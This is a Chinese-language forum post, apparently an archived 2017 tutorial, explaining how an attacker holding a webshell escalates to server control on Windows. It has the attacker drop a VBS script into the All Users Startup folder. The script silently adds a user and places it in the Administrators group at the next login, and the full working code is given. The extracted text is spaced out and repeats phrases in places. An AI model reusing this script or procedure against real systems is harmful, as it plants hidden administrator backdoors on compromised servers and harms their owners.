搜索

[20896] 2017-09-11_webshell写入启动项目提权

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2017-09-11_webshell写入启动项目提权 w e b s h e l l 写 入 启 动 项 目 提 权 L e m o n S e c   2 0 1 7 - 0 9 - 1 1 我 们 在 拿 到 一 个 网 站 的 w e b s h e l l 的 时 候 如 果 想 进 一 步 的 获 得 网 站 的 服 务 器 权 限 . 我 们 可 以 查 看 现 在 服 务 器 上 系 统 盘 的 可 读 可 写 目 录 . 如 果 说 服 务 器 上 的   C : D o c u m e n t s   a n d   S e t t i n g s A l l   U s e r s 「 开 始 」 菜 单 程 序 启 动   目 录 存 在 可 读 可 写 目 录   那 么 我 们 就 可 以 执 行 上 传 一 个 v b s 或 者 b a t 的 脚 本 进 行 提 权 。 这 里 我 就 具 体 来 讲 解 下 用 v b s 脚 本 进 行 提 权 , 来 添 加 用 户 。 1 . 我 们 先 写 一 个 我 们 先 写 一 个 v b s 的 添 加 用 户 密 码 的 脚 本 的 添 加 用 户 密 码 的 脚 本   脚 本 代 码 如 下 脚 本 代 码 如 下   大 家 可 自 行 修 改 用 户 密 码 。 大 家 可 自 行 修 改 用 户 密 码 。 s e t   w s h s h e l l = c r e a t e o b j e c t   ( " w s c r i p t . s h e l l " ) a = w s h s h e l l . r u n   ( " c m d . e x e   / c   n e t   u s e r   用 户 名 用 户 名   密 码 密 码   / a d d " , 0 ) b = w s h s h e l l . r u n   ( " c m d . e x e   / c   n e t   l o c a l g r o u p   A d m i n i s t r a t o r s   用 户 名 用 户 名   / a d d " , 0 ) 修 改 帐 号 密 码 后 然 后 复 制 以 上 代 码   然 后 保 存 为 . v b s 的 文 件   文 件 名 任 意 。 2 . 保 存 以 后 将 来 v b s 脚 本 上 传 到 C : D o c u m e n t s   a n d   S e t t i n g s A l l   U s e r s 「 开 始 」 菜 单 程 序 启 动 然 后 我 们 就 提 权 结 束 , 等 目 标 服 务 器 再 次 登 录 的 时 候 即 可 自 动 添 加 帐 号 密 码 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理